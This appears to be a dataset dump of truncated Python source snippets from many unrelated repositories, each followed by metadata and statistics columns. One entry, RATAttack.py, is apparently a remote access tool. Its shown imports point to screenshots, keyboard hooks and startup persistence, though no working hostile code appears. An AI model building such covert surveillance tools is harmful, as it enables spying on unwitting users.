] | null | null | null | models/scheduler.py | shikasta-net/LabBook | 3ceabc8254192abc85e2a2a9ab30a8639fd4e04d | [
"Apache-2.0"
] | null | null | null | from gluon.scheduler import Scheduler
db_schedule = DAL('sqlite://schedule.sqlite')
import shutil
import os.path
def clean_printjob(printjob_id):
shutil.rmtree(os.path.join(request.folder, 'printjobs', printjob_id))
return 0
from subprocess import Popen
def run_printjob(prince_args, printjob_id):
print "Running pr... | 46.162162 | 285 | 0.777518 | 247 | 1,708 | 5.125506 | 0.299595 | 0.110585 | 0.052133 | 0.075039 | 0.319115 | 0.319115 | 0.300158 | 0.150079 | 0.150079 | 0 | 0 | 0.018301 | 0.104215 | 1,708 | 37 | 286 | 46.162162 | 0.80915 | 0 | 0 | 0 | 0 | 0 | 0.129901 | 0.014043 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.21875 | null | null | 0.34375 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d22a9fd336533655984045b109c5c9bf7e76c62f | 401 | py | Python | fft_ydiv_spin.py | AYANDEY/Scope-Analyser | 39c3fa23467496cf719a8c999a355c43bfe3385b | [
"MIT"
] | 1 | 2022-03-22T08:10:30.000Z | 2022-03-22T08:10:30.000Z | fft_ydiv_spin.py | AYANDEY/Scope-Analyser | 39c3fa23467496cf719a8c999a355c43bfe3385b | [
"MIT"
] | null | null | null | fft_ydiv_spin.py | AYANDEY/Scope-Analyser | 39c3fa23467496cf719a8c999a355c43bfe3385b | [
"MIT"
] | null | null | null | from PyQt5.Qt import QDoubleSpinBox, QKeyEvent
from PyQt5.uic.Compiler.qtproxies import QtCore
from PyQt5.QtCore import pyqtSignal,Qt
class fft_ydiv_spin(QDoubleSpinBox):
val_entered=pyqtSignal()
def __init__(self,parent):
QDoubleSpinBox.__init__(self)
def keyReleaseEvent(self,e):
... | 26.733333 | 47 | 0.683292 | 48 | 401 | 5.4375 | 0.5625 | 0.103448 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009709 | 0.229426 | 401 | 15 | 48 | 26.733333 | 0.834951 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.3 | 0 | 0.7 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
d23a075066f3ed0122b51f151fadca2ecc2bbc84 | 815 | py | Python | agony/migrations/0002_auto_20190108_1312.py | onhan/free-site | f01de27a3cafd09234cddacfd4ca9705b5b9d6e7 | [
"BSD-3-Clause"
] | 19 | 2018-01-28T14:35:40.000Z | 2020-12-04T03:04:02.000Z | agony/migrations/0002_auto_20190108_1312.py | groundupnews/gu | c7179ee3d058c8749d250d681032a76dc8d599d5 | [
"BSD-3-Clause"
] | 8 | 2018-06-02T14:28:28.000Z | 2021-08-06T10:22:37.000Z | agony/migrations/0002_auto_20190108_1312.py | onhan/free-site | f01de27a3cafd09234cddacfd4ca9705b5b9d6e7 | [
"BSD-3-Clause"
] | 21 | 2018-02-25T14:07:48.000Z | 2020-05-28T23:10:52.000Z | # Generated by Django 2.1.4 on 2019-01-08 11:12
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('newsroom', '0002_auto_20190107_0721'),
('agony', '0001_initial'),
]
operations = [
migrations.AlterModelOptions(
name='q... | 28.103448 | 136 | 0.584049 | 78 | 815 | 5.974359 | 0.717949 | 0.05794 | 0.098712 | 0.11588 | 0.154506 | 0.154506 | 0 | 0 | 0 | 0 | 0 | 0.060034 | 0.284663 | 815 | 28 | 137 | 29.107143 | 0.73928 | 0.055215 | 0 | 0.318182 | 1 | 0 | 0.240885 | 0.029948 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.045455 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d23b5f1f505fa53a68928dfcf571dbc5fde7f651 | 887 | py | Python | app/controllers/web/error.py | Clivern/Kevin | dfa6fe99d2599a3f1a9da7c9690e2fba6a825f1d | [
"Apache-2.0"
] | 2 | 2018-06-18T09:37:36.000Z | 2021-06-23T02:09:41.000Z | app/controllers/web/error.py | Clivern/Kevin | dfa6fe99d2599a3f1a9da7c9690e2fba6a825f1d | [
"Apache-2.0"
] | 45 | 2018-04-08T11:53:05.000Z | 2018-06-12T20:45:38.000Z | app/controllers/web/error.py | Clivern/Kevin | dfa6fe99d2599a3f1a9da7c9690e2fba6a825f1d | [
"Apache-2.0"
] | null | null | null | """
Error Web Controller
"""
# standard library
import os
# Django
from django.views import View
from django.shortcuts import render
from django.http import HttpResponse
from django.http import HttpResponseRedirect
from django.utils.translation import gettext as _
# local Django
from app.modules.core.context import ... | 23.972973 | 93 | 0.721533 | 112 | 887 | 5.598214 | 0.464286 | 0.079745 | 0.044657 | 0.063796 | 0.089314 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020298 | 0.166855 | 887 | 37 | 94 | 23.972973 | 0.826793 | 0.065389 | 0 | 0 | 0 | 0 | 0.110976 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.05 | false | 0 | 0.4 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
d23c026e92608dcd8d272fa2ec6c10cad6013d0d | 1,319 | py | Python | backend_configuration.py | johanneskool/Ceres29 | 600c19206b521b9520c957ca8dcdef26e703c2c9 | [
"MIT"
] | null | null | null | backend_configuration.py | johanneskool/Ceres29 | 600c19206b521b9520c957ca8dcdef26e703c2c9 | [
"MIT"
] | null | null | null | backend_configuration.py | johanneskool/Ceres29 | 600c19206b521b9520c957ca8dcdef26e703c2c9 | [
"MIT"
] | null | null | null | __author__ = 'Tristan Trouwen'
import os
basedir = os.path.abspath(os.path.dirname(__file__)) # absolute path to project
class Config(object):
""" Default configuration object. All configurations should inherit from this one. """
HOST = 'localhost'
PORT = '5555'
TESTING = False
APP_TITLE = "Net... | 32.975 | 90 | 0.71721 | 155 | 1,319 | 5.832258 | 0.470968 | 0.179204 | 0.146018 | 0.094027 | 0.378319 | 0.378319 | 0.378319 | 0.169248 | 0 | 0 | 0 | 0.014665 | 0.172858 | 1,319 | 39 | 91 | 33.820513 | 0.813932 | 0.079606 | 0 | 0.1 | 0 | 0 | 0.164043 | 0.019056 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.033333 | 0 | 0.933333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
d2579c7b0b0f477a1679c77dc4a4ee63b0703c2f | 684 | py | Python | portfolios/migrations/0008_auto_20170809_1658.py | tkanemoto/django-portfolios | 328990d030b3509cf5aeef09c3ae605104a18564 | [
"Apache-2.0"
] | null | null | null | portfolios/migrations/0008_auto_20170809_1658.py | tkanemoto/django-portfolios | 328990d030b3509cf5aeef09c3ae605104a18564 | [
"Apache-2.0"
] | null | null | null | portfolios/migrations/0008_auto_20170809_1658.py | tkanemoto/django-portfolios | 328990d030b3509cf5aeef09c3ae605104a18564 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11.1 on 2017-08-09 16:58
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('portfolios', '0007_auto_20170809_1654'),
]
operations = [
migrations.AddFie... | 26.307692 | 97 | 0.609649 | 75 | 684 | 5.373333 | 0.64 | 0.08933 | 0.114144 | 0.133995 | 0.173697 | 0.173697 | 0 | 0 | 0 | 0 | 0 | 0.079681 | 0.266082 | 684 | 25 | 98 | 27.36 | 0.723108 | 0.099415 | 0 | 0.333333 | 1 | 0 | 0.109299 | 0.03752 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.277778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d25d85e95cd0765f416878dfbeca25d1637b3abf | 41,090 | py | Python | src/haizea/core/configfile.py | Hamdy/haizea | 797e1b0ae19b41887c8970298de3adb9498034f3 | [
"Apache-2.0"
] | 1 | 2017-10-31T22:17:31.000Z | 2017-10-31T22:17:31.000Z | src/haizea/core/configfile.py | Hamdy/haizea | 797e1b0ae19b41887c8970298de3adb9498034f3 | [
"Apache-2.0"
] | null | null | null | src/haizea/core/configfile.py | Hamdy/haizea | 797e1b0ae19b41887c8970298de3adb9498034f3 | [
"Apache-2.0"
] | null | null | null | # -------------------------------------------------------------------------- #
# Copyright 2006-2009, University of Chicago #
# Copyright 2008-2009, Distributed Systems Architecture Group, Universidad #
# Complutense de Madrid (dsa-research.org) #
# ... | 43.80597 | 193 | 0.502288 | 3,854 | 41,090 | 5.307473 | 0.185522 | 0.024933 | 0.031288 | 0.034221 | 0.188658 | 0.176974 | 0.133366 | 0.092545 | 0.073234 | 0.066976 | 0 | 0.002667 | 0.416087 | 41,090 | 938 | 194 | 43.80597 | 0.849873 | 0.066975 | 0 | 0.302632 | 0 | 0.001316 | 0.5273 | 0.023049 | 0 | 0 | 0 | 0.001066 | 0 | 0 | null | null | 0.001316 | 0.011842 | null | null | 0.006579 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d2603b52cbf26e825184c80154dcd3f7d86d4481 | 4,639 | py | Python | pypy/tool/genstatistic.py | wdv4758h/mu-client-pypy | d2fcc01f0b4fe3ffa232762124e3e6d38ed3a0cf | [
"Apache-2.0",
"OpenSSL"
] | 34 | 2015-07-09T04:53:27.000Z | 2021-07-19T05:22:27.000Z | pypy/tool/genstatistic.py | wdv4758h/mu-client-pypy | d2fcc01f0b4fe3ffa232762124e3e6d38ed3a0cf | [
"Apache-2.0",
"OpenSSL"
] | 6 | 2015-05-30T17:20:45.000Z | 2017-06-12T14:29:23.000Z | pypy/tool/genstatistic.py | wdv4758h/mu-client-pypy | d2fcc01f0b4fe3ffa232762124e3e6d38ed3a0cf | [
"Apache-2.0",
"OpenSSL"
] | 11 | 2015-09-07T14:26:08.000Z | 2020-04-10T07:20:41.000Z |
import py
from py._cmdline import pycountloc as countloc
from py.xml import raw
from pypy import conftest
pypydir = py.path.local(conftest.pypydir)
def isdocfile(p):
return (p.ext in ('.txt', '.rst') or
p.basename in ('README', 'NOTES', 'LICENSE'))
def istestfile(p):
if not p.check(file=1, ext=... | 32.440559 | 71 | 0.607459 | 546 | 4,639 | 5.115385 | 0.298535 | 0.022914 | 0.023631 | 0.016112 | 0.044397 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006757 | 0.266221 | 4,639 | 142 | 72 | 32.669014 | 0.813749 | 0.00582 | 0 | 0.107438 | 0 | 0 | 0.108167 | 0.00543 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.033058 | null | null | 0.008264 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d26417140697ef6ef7bfc6345875fc1487c83580 | 1,506 | py | Python | examples/subdomain_specific/setup_poly.py | tmiesse/PolyADCIRC | a4a31dda2c2dac4cd696c0f3827dbbcea7feab33 | [
"BSD-3-Clause"
] | 5 | 2016-03-04T19:42:32.000Z | 2022-01-20T15:39:25.000Z | examples/subdomain_specific/setup_poly.py | tmiesse/PolyADCIRC | a4a31dda2c2dac4cd696c0f3827dbbcea7feab33 | [
"BSD-3-Clause"
] | 5 | 2015-04-28T05:14:28.000Z | 2017-01-19T12:54:59.000Z | examples/subdomain_specific/setup_poly.py | UT-CHG/PolyADCIRC | a4a31dda2c2dac4cd696c0f3827dbbcea7feab33 | [
"BSD-3-Clause"
] | 5 | 2016-01-20T00:34:47.000Z | 2022-01-02T11:00:56.000Z | #! /usr/bin/env/python
# import necessary modulees
import polyadcirc.run_framework.subdomain as subdom
import polyadcirc.run_framework.fulldomain as fulldom
import glob
adcirc_dir = '/work/01837/lcgraham/v50_subdomain/work'
fulldomain = fulldom.fulldomain(adcirc_dir+'/ADCIRC_landuse/Inlet/inputs/tides')
subdomain = su... | 35.857143 | 87 | 0.758964 | 211 | 1,506 | 5.308057 | 0.478673 | 0.040179 | 0.033929 | 0.05 | 0.083929 | 0 | 0 | 0 | 0 | 0 | 0 | 0.03382 | 0.136122 | 1,506 | 41 | 88 | 36.731707 | 0.827056 | 0.249004 | 0 | 0.071429 | 0 | 0 | 0.292596 | 0.104371 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.107143 | null | null | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d2685b257f04e94113cbcea3cad7e3b719d7b5f6 | 9,016 | py | Python | bindings/python/kraft.py | xtreme3d/xtreme3d | 0d9128d427f0f29290f1b9a2b25e7297ace900a9 | [
"FTL",
"MIT",
"BSD-3-Clause"
] | 22 | 2016-04-23T07:54:02.000Z | 2021-07-11T14:21:40.000Z | bindings/python/kraft.py | xtreme3d/xtreme3d | 0d9128d427f0f29290f1b9a2b25e7297ace900a9 | [
"FTL",
"MIT",
"BSD-3-Clause"
] | 62 | 2016-05-02T21:36:13.000Z | 2020-02-22T15:11:52.000Z | bindings/python/kraft.py | xtreme3d/xtreme3d | 0d9128d427f0f29290f1b9a2b25e7297ace900a9 | [
"FTL",
"MIT",
"BSD-3-Clause"
] | 6 | 2017-12-29T18:38:33.000Z | 2020-07-26T18:52:19.000Z | import os.path
import time
import ctypes
import sdl2
import math
from framework import *
"""
Kraft Physics Demo
------------------
Author: Gecko
Xtreme3D version: 3.8+
Python version (tested): 2.7.11
License: Public Domain (or CC-0)
-------------------------
This demo shows how to use Kraft physics en... | 37.882353 | 126 | 0.606588 | 901 | 9,016 | 6.057714 | 0.286349 | 0.023818 | 0.041774 | 0.017406 | 0.080249 | 0.034811 | 0.014291 | 0.014291 | 0 | 0 | 0 | 0.037907 | 0.291925 | 9,016 | 237 | 127 | 38.042194 | 0.816886 | 0 | 0 | 0.081081 | 0 | 0 | 0.014714 | 0.002874 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.032432 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d269f46e9d4c464399d47736f80e9f28e3fb1a13 | 2,954 | py | Python | labs/lab05.py | KamilZywanowski/MachineLearningCourse | 86466db19f67c930f5045190ccaa91cb12d82305 | [
"MIT"
] | null | null | null | labs/lab05.py | KamilZywanowski/MachineLearningCourse | 86466db19f67c930f5045190ccaa91cb12d82305 | [
"MIT"
] | null | null | null | labs/lab05.py | KamilZywanowski/MachineLearningCourse | 86466db19f67c930f5045190ccaa91cb12d82305 | [
"MIT"
] | null | null | null | from sklearn.experimental import enable_iterative_imputer
from sklearn import metrics, cluster, decomposition, datasets, manifold, ensemble, svm, model_selection, impute
import matplotlib.pyplot as plt
import matplotlib.gridspec as gridspec
import itertools
import numpy as np
import pandas as pd
import seaborn as sns
i... | 30.453608 | 111 | 0.677048 | 429 | 2,954 | 4.431235 | 0.307692 | 0.059968 | 0.021042 | 0.037875 | 0.29353 | 0.264598 | 0.242504 | 0.213046 | 0.213046 | 0.213046 | 0 | 0.015599 | 0.175355 | 2,954 | 96 | 112 | 30.770833 | 0.764778 | 0.175017 | 0 | 0.160714 | 0 | 0 | 0.062163 | 0.009946 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035714 | false | 0 | 0.321429 | 0 | 0.357143 | 0.089286 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
d26d5772ed9cc0d205459f5ece1e3e601d08ebd8 | 3,152 | py | Python | web/openerp/report/render/simple.py | diogocs1/comps | 63df07f6cf21c41e4527c06e2d0499f23f4322e7 | [
"Apache-2.0"
] | 1 | 2019-12-29T11:53:56.000Z | 2019-12-29T11:53:56.000Z | odoo/openerp/report/render/simple.py | tuanquanghpvn/odoo8-tutorial | 52d25f1ca5f233c431cb9d3b24b79c3b4fb5127e | [
"MIT"
] | null | null | null | odoo/openerp/report/render/simple.py | tuanquanghpvn/odoo8-tutorial | 52d25f1ca5f233c431cb9d3b24b79c3b4fb5127e | [
"MIT"
] | 3 | 2020-10-08T14:42:10.000Z | 2022-01-28T14:12:29.000Z | # -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the... | 35.818182 | 102 | 0.574239 | 368 | 3,152 | 4.872283 | 0.467391 | 0.033463 | 0.033463 | 0.03179 | 0.055772 | 0.055772 | 0.037925 | 0 | 0 | 0 | 0 | 0.019097 | 0.269036 | 3,152 | 87 | 103 | 36.229885 | 0.759115 | 0.271574 | 0 | 0.071429 | 0 | 0 | 0.178858 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.142857 | null | null | 0.017857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d2710dd0110539edb525637da15703566863a0b8 | 5,091 | py | Python | RATAttack.py | ChristTR/Telegram-bot-tool | 50972489583360645ac5683e11320eb478a3be6a | [
"MIT"
] | 1 | 2017-10-24T22:10:51.000Z | 2017-10-24T22:10:51.000Z | RATAttack.py | ChristTR/Telegram-bot-tool | 50972489583360645ac5683e11320eb478a3be6a | [
"MIT"
] | null | null | null | RATAttack.py | ChristTR/Telegram-bot-tool | 50972489583360645ac5683e11320eb478a3be6a | [
"MIT"
] | 2 | 2017-06-14T12:39:23.000Z | 2019-03-18T07:39:08.000Z | #!/usr/bin/env python
from PIL import ImageGrab
from time import strftime, sleep
from shutil import copyfile
from sys import argv
from json import loads
from winshell import startup
from tendo import singleton
import telepot, requests
import os, os.path, platform, ctypes
import pyHook, pythoncom
me = singleton.Single... | 30.12426 | 71 | 0.668631 | 687 | 5,091 | 4.823872 | 0.302766 | 0.065178 | 0.07061 | 0.078455 | 0.245323 | 0.148763 | 0.123416 | 0.116476 | 0.088111 | 0.037417 | 0 | 0.008795 | 0.17364 | 5,091 | 168 | 72 | 30.303571 | 0.77894 | 0.083088 | 0 | 0.191489 | 0 | 0 | 0.166094 | 0.010958 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.070922 | null | null | 0.028369 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d2716a5e3dc76dd8e513ab65e5428da4af998016 | 6,786 | py | Python | src/scripts/lg.py | genmeblog/twixtbot | eca001e6f2b3f0e7fd1760770e2ed0a9906c3ef6 | [
"MIT"
] | 5 | 2020-09-04T16:05:48.000Z | 2021-07-03T13:31:27.000Z | src/scripts/lg.py | genmeblog/twixtbot | eca001e6f2b3f0e7fd1760770e2ed0a9906c3ef6 | [
"MIT"
] | 2 | 2021-03-08T09:46:02.000Z | 2021-03-08T14:50:36.000Z | src/scripts/lg.py | BonyJordan/twixtbot | f0b8d10f444f46787cf4cd03f8d67fc68d1f9ddb | [
"MIT"
] | 2 | 2020-11-02T14:34:00.000Z | 2021-03-08T15:47:03.000Z | #! /usr/bin/env python
import argparse
from bs4 import BeautifulSoup
import collections
import os
import re
import requests
import subprocess
import sys
import time
import urlparse
GameInfo = collections.namedtuple("GameInfo", "game_id popen moves draw_offer")
def find_moves_for_game(session, game_id):
move_re = ... | 30.430493 | 101 | 0.563955 | 917 | 6,786 | 4.055616 | 0.261723 | 0.02904 | 0.0242 | 0.028233 | 0.152998 | 0.104867 | 0.055391 | 0.020436 | 0 | 0 | 0 | 0.017677 | 0.283083 | 6,786 | 222 | 102 | 30.567568 | 0.746763 | 0.043767 | 0 | 0.103448 | 0 | 0.005747 | 0.142923 | 0.011125 | 0 | 0 | 0 | 0 | 0.028736 | 0 | null | null | 0.011494 | 0.057471 | null | null | 0.091954 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d2794b775a86d3a72008aa9c8c0d52f2330e05ef | 2,661 | py | Python | tools/box/downloadBook/test.py | tigersujie/SJTB | 4b8522ee3e91ec141a988959000e6c040ae978db | [
"Apache-2.0"
] | 2 | 2018-07-04T14:00:37.000Z | 2018-07-10T09:30:49.000Z | tools/box/downloadBook/test.py | tigersujie/SJTB | 4b8522ee3e91ec141a988959000e6c040ae978db | [
"Apache-2.0"
] | null | null | null | tools/box/downloadBook/test.py | tigersujie/SJTB | 4b8522ee3e91ec141a988959000e6c040ae978db | [
"Apache-2.0"
] | 1 | 2018-07-04T14:00:40.000Z | 2018-07-04T14:00:40.000Z | import sys
sys.path.append('/home/ubuntu/Python_Workspace/SJTB/')
from tools.box.downloadBook.spyder import aszwParser
from tools.box.downloadBook.db import dbController
from tools.box.downloadBook.camouflage import proxies
from tools.box.downloadBook.spyder.aszwParser import Parser
import time
def testInsertBook():
... | 28.308511 | 127 | 0.687336 | 295 | 2,661 | 6.105085 | 0.389831 | 0.06663 | 0.079956 | 0.137701 | 0.332038 | 0.114936 | 0.08995 | 0.08995 | 0.08995 | 0.048862 | 0 | 0.045495 | 0.149192 | 2,661 | 94 | 128 | 28.308511 | 0.75 | 0.078166 | 0 | 0.129032 | 0 | 0 | 0.294142 | 0.014439 | 0 | 0 | 0 | 0 | 0 | 1 | 0.225806 | false | 0.016129 | 0.096774 | 0 | 0.322581 | 0.032258 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
d27a4adfadf715de054d02e3954863cd9d4d2a77 | 2,480 | py | Python | tests/dpaycli/test_storage.py | dpays/dpay-cli | dfa80898e1faea2cee92ebec6fe04873381bd40f | [
"MIT"
] | null | null | null | tests/dpaycli/test_storage.py | dpays/dpay-cli | dfa80898e1faea2cee92ebec6fe04873381bd40f | [
"MIT"
] | null | null | null | tests/dpaycli/test_storage.py | dpays/dpay-cli | dfa80898e1faea2cee92ebec6fe04873381bd40f | [
"MIT"
] | null | null | null | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from builtins import range
from builtins import super
import mock
import string
import unittest
from parameterized import parameterized
import random
import json
from ppri... | 31.392405 | 117 | 0.697581 | 287 | 2,480 | 5.836237 | 0.358885 | 0.059104 | 0.053731 | 0.028657 | 0.13791 | 0.065672 | 0.039403 | 0 | 0 | 0 | 0 | 0.008338 | 0.22621 | 2,480 | 78 | 118 | 31.794872 | 0.864513 | 0.066532 | 0 | 0.149254 | 0 | 0 | 0.073593 | 0.022078 | 0 | 0 | 0 | 0 | 0.014925 | 1 | 0.044776 | false | 0 | 0.358209 | 0 | 0.41791 | 0.029851 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
d27e42c03c0adcd5e5211c5f69a2c43a0b8864af | 2,432 | py | Python | qiskit/aqua/components/oracles/custom_circuit_oracle.py | Nick-Singstock/qiskit-aqua | 8c2bc57b78dec447faec3adbc966471a3206c2ef | [
"Apache-2.0"
] | 1 | 2020-11-06T01:09:28.000Z | 2020-11-06T01:09:28.000Z | qiskit/aqua/components/oracles/custom_circuit_oracle.py | Nick-Singstock/qiskit-aqua | 8c2bc57b78dec447faec3adbc966471a3206c2ef | [
"Apache-2.0"
] | null | null | null | qiskit/aqua/components/oracles/custom_circuit_oracle.py | Nick-Singstock/qiskit-aqua | 8c2bc57b78dec447faec3adbc966471a3206c2ef | [
"Apache-2.0"
] | 1 | 2020-11-06T01:09:43.000Z | 2020-11-06T01:09:43.000Z | # -*- coding: utf-8 -*-
# This code is part of Qiskit.
#
# (C) Copyright IBM Corp. 2017 and later.
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of this source tree or at http://www.apache.org/licenses/LICENSE-2.... | 32 | 111 | 0.695724 | 290 | 2,432 | 5.703448 | 0.365517 | 0.067715 | 0.029021 | 0.061669 | 0.186215 | 0.095526 | 0.064087 | 0.064087 | 0 | 0 | 0 | 0.004852 | 0.237253 | 2,432 | 75 | 112 | 32.426667 | 0.886792 | 0.447368 | 0 | 0.133333 | 0 | 0 | 0.09696 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.1 | 0.133333 | 0.466667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 |
962a04dd4c88950145cd69f64b29552eaa27295b | 513 | py | Python | notify_app/crud.py | max-belichenko/fastapi-event-notifications | a0709d667681b77c11605e7de06973511d78022f | [
"MIT"
] | 1 | 2021-09-15T14:37:14.000Z | 2021-09-15T14:37:14.000Z | notify_app/crud.py | max-belichenko/fastapi-event-notifications | a0709d667681b77c11605e7de06973511d78022f | [
"MIT"
] | null | null | null | notify_app/crud.py | max-belichenko/fastapi-event-notifications | a0709d667681b77c11605e7de06973511d78022f | [
"MIT"
] | null | null | null | from sqlalchemy.orm import Session
from notify_app.models import Message
from notify_app.schemas import MessageSchema
async def create_message(db: Session, message: MessageSchema):
"""
Создаёт запись о сообщении в базе данных.
:param db:
:param message:
:return: Созданный объект сообщения
